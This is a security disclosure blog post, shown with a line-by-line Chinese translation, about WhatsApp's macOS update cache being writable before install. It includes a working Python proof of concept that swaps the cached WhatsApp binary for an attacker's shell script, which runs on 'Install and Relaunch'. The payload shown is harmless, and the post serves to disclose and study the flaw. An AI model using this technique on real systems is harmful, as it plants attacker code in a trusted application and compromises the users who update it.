原文始发于NSEcho:Abusing WhatsApp update process on macOS
Introduction 介绍
About a month ago, I have reported this to the WhatsApp team, and they refused to acknowledge this as a vulnerability, so I have waited for the new version to write a blog post about the issue.
大约一个月前,我向WhatsApp团队报告了这个问题,他们拒绝承认这是一个漏洞,所以我一直在等待新版本写一篇关于这个问题的博客文章。
Basically, during the update time no checks have been made to confirm whether the update is legit.
基本上,在更新期间没有进行任何检查以确认更新是否合法。
I agree with their answer that an attacker could make something much worse, but still a fun issue to write about because there may be other applications that are vulnerable to this and may be impact can be greater than the simply replacing binary like it is described here.
我同意他们的回答,即攻击者可能会使事情变得更糟,但这仍然是一个有趣的问题,因为可能还有其他应用程序容易受到此影响,并且影响可能比简单地替换二进制文件更大,就像这里描述的那样。
Analysis 分析
Once the update is downloaded and ready to be installed, you will see the following window.
下载更新并准备好安装后,您将看到以下窗口。
Update that is ready to be installed can be found in the ~/Library/Caches/net.whatsapp.WhatsApp/org.sparkle-project.Sparkle/Installation/RANDOM_ID/
which contains WhatsApp.app
.
可以在包含 WhatsApp.app
的 中找到准备安装 ~/Library/Caches/net.whatsapp.WhatsApp/org.sparkle-project.Sparkle/Installation/RANDOM_ID/
的更新。
By default, SIP (System Integrity Protection) prevents modifications inside of /Applications
directory which can be seen on the image below, but with this “vulnerability” we can do that.
默认情况下,SIP(系统完整性保护)会阻止 /Applications
目录内部的修改,如下图所示,但是有了这个“漏洞”,我们可以做到这一点。
Even though the SIP blocks this, we can still abuse the update process to plant our own binary in this case a simple shell script that writes current user to /tmp/output
file.
即使 SIP 阻止了这一点,我们仍然可以滥用更新过程来植入我们自己的二进制文件,在这种情况下,一个简单的 shell 脚本将当前用户写入 /tmp/output
文件。
#!/usr/bin/env python3
import glob
import os
import stat
content = """#!/bin/sh
whoami > /tmp/output
"""
def main():
# get the path to the directory
base_path = os.path.expanduser('~/Library/Caches/net.whatsapp.WhatsApp/org.sparkle-project.Sparkle/Installation/')
update_dir = glob.glob(base_path + '*/WhatsApp.app/Contents/MacOS', recursive=False)
if len(update_dir) != 1:
print("Update not found")
print("Exiting...")
exit()
# obtain the binary path
binary_path = os.path.join(update_dir[0], 'WhatsApp')
print("Update found")
print("Replacing the file")
# Remove real WhatsApp binary
os.remove(binary_path)
# Write the content
with open(binary_path, "w") as f:
f.write(content)
# give executable permissions to planted binary
st = os.stat(binary_path)
os.chmod(binary_path, st.st_mode | stat.S_IEXEC)
if __name__ == "__main__":
main()
After running it, we can confirm that the shell script is now there instead of the original binary.
运行它后,我们可以确认 shell 脚本现在在那里,而不是原始的二进制文件。
Now, the only thing left is to click on Install and Relaunch
or wait for the user to do it and on the new run, we can see that our exploit is working correctly.
现在,剩下的唯一事情就是单击 Install and Relaunch
或等待用户执行此操作,在新的运行中,我们可以看到我们的漏洞利用工作正常。